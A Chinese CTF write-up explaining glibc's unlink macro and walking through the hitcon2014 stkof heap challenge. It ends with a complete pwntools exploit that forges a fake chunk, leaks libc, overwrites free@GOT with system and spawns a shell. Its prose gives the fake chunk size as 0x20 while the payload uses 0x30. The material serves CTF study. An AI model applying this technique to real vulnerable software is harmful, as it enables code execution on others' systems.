感觉这块很难理解,看其他师傅的博客也看不太懂…死磕好几天之后决定自己动手写个简单易懂的!
0x01 什么是unlink
unlink其实是glibc中定义的一个宏,在_int_free函数中被调用,作用就是把一个空闲的chunk从双向链表中拿出来。
只有在不是fast bin的情况下才会触发unlink。
定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
|
然后我们拆开来读一下这个宏
1 2 3 4
| FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV);
|
从当前要被拿出的chunk P中取出他的FD和BK,去检验FD的bk是不是P,BK的fd是不是P。这里是glibc引入的保护机制,如果没有这个检查,攻击者利用堆溢出伪造P->fd和P->bk指向任意地址,从而就能直接造成任意地址读写。
检查通过之后,就会让FD的bk指向BK,BK的fd指向FD,把P从链表中拿出来。也就是ctfwiki上这个图所演示的过程。

unlink后的结果就是这样(如下图),也就是上图中第三块去掉P之后的样子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; }
|
这部分只针对large Bin中的chunk。large Bin除了基本的fd/bk双向链表外,还维护了一条按size排序的 fd_nextsize/bk_nextsize双向链表,用于加速查找。摘除时需要同时维护这两条链表。
0x02 如何利用
通过堆溢出伪造一个 fake_chunk,欺骗堆管理器在free的时候把它当成一个合法的空闲堆块进行unlink。
利用FD = P->fd;BK = P->bk;两次操作,劫持一个全局指针,实现任意地址读写。
0x03 例题 hitcon2014_stkof
因为buuctf的环境太诡异,这里直接patch成glibc-all-in-one里的libc-2.23来打的本地。
先对函数进行一个重命名,1是add,2是edit,3是delete。
函数分析
add

从用户输入读取最多15个字符,转为long long之后赋值给size。然后malloc一个对应大小的堆块,把指针返回给v2。
::s是一个全局数组,用于存储堆指针,dword_602100是一个全局变量,先把他+1,作为::s的索引,将v2存储进这个地方。然后打印出索引。
这是::s的地址,记一下,一会要用。

edit

这里存在一个堆溢出,他没有校验我们输入的长度是否大于前面申请的堆块大小。
delete

这个函数没什么问题,就是删除所选的堆块。
利用思路
这个程序没有关闭输入输出流,所以在首次调用fget和printf函数的时候会创建两个堆块。我们的第一个堆块会被这两个io_chunk夹在中间,没办法利用。所以我们需要额外创建三个chunk,chunk2(伪造 fake chunk 的载体)、chunk3(被free)、chunk4(放 “/bin/sh”)
如果我们在chunk2的data部分构造一个fake chunk,让这个fake chunk处于释放状态,修改chunk3的prev_size和size的标志位,让chunk3在释放的时候向前合并,就能利用unlink,实现任意地址写。
fake chunk的最小尺寸是0x30,所以chunk2的最小大小也就是0x30。计算方式如下
min=prev_size+size+fd+bk+next_prev+next_size
其中每个部分的大小都是0x8,也就是0x8*6=0x30。
为了正常利用,chunk3的prev_size也应该是0x30,并且size应该大于fast bin的最大值,即最小为0x90。
那fake chunk怎么构造呢?
prev_size:这里不会被读取,直接写0就可以了。
size:prev_size+size+next_prev+next_size=0x20,所以这里写0x20。
next_prev:chunk3的prev_size,也就是这里的next_prev必须等于前一个chunk即fake chunk的size,所以这里也是0x20。
next_size:不重要,随便写一个。
fd:我们目标修改的地方是0x602150(0x602140是::s的起始,idx=0,对应chunk2是idx=2,也就是0x602150),fd=0x602150-0x18
bk:0x602150-0x10
unlink 完成后,全局数组中 chunk2 对应的指针被改成 target-0x18。
此时通过 edit(2) 写入数据,就能修改全局数组里其他chunk的指针:把 chunk1 的指针改成 free_got,chunk2 的指针改成 puts_got,再用 edit(1) 把 chunk1 指向的内容写成 puts_plt。这样delete(2) 就会执行puts(puts_got)
泄露libc基地址后把free@got改成 system,再让 chunk4 里放 “/bin/sh”,delete(4) 就能getshell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * context(arch='amd64',log_level='debug',terminal=['tmux','split','-h']) file = './pwn' elf = ELF(file)
LD = '/home/eddy123/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64' p = process([LD + '/ld-2.23.so', '--library-path', LD, file]) libc = ELF(LD + '/libc-2.23.so')
host = 'aaaa' port = 1234
s_addr=0x602150 free_got=elf.got['free'] puts_got=elf.got['puts'] puts_plt=elf.plt['puts']
def add(size): p.sendline(b'1') p.sendline(str(size)) p.recvuntil(b'OK\n')
def edit(num,content): p.sendline(b'2') p.sendline(str(num)) p.sendline(str(len(content))) p.send(content)
def delete(num): p.sendline(b'3') p.sendline(str(num)) p.recvuntil(b'OK\n')
add(0x30) add(0x30) add(0x90) add(0x30)
payload=p64(0) payload+=p64(0x30) payload+=p64(s_addr-0x18) payload+=p64(s_addr-0x10) payload+=b'a'*(0x30-0x20) payload+=p64(0x30) payload+=p64(0xa0)
edit(2,payload) delete(3)
payload2=b'c'*0x10 payload2+=p64(free_got) payload2+=p64(puts_got) edit(2,payload2)
edit(1,p64(puts_plt))
p.sendline(b'3') p.sendline(b'2')
leak=u64(p.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00')) p.recvuntil(b'OK\n')
print(hex(leak)) libc_addr=leak-libc.sym['puts'] log.success('libc base =',hex(libc_addr))
system=libc_addr+libc.sym['system']
payload=p64(system)
edit(1,payload)
edit(4,b'/bin/sh\x00') p.sendline(b'3') p.sendline(b'4')
p.interactive()
|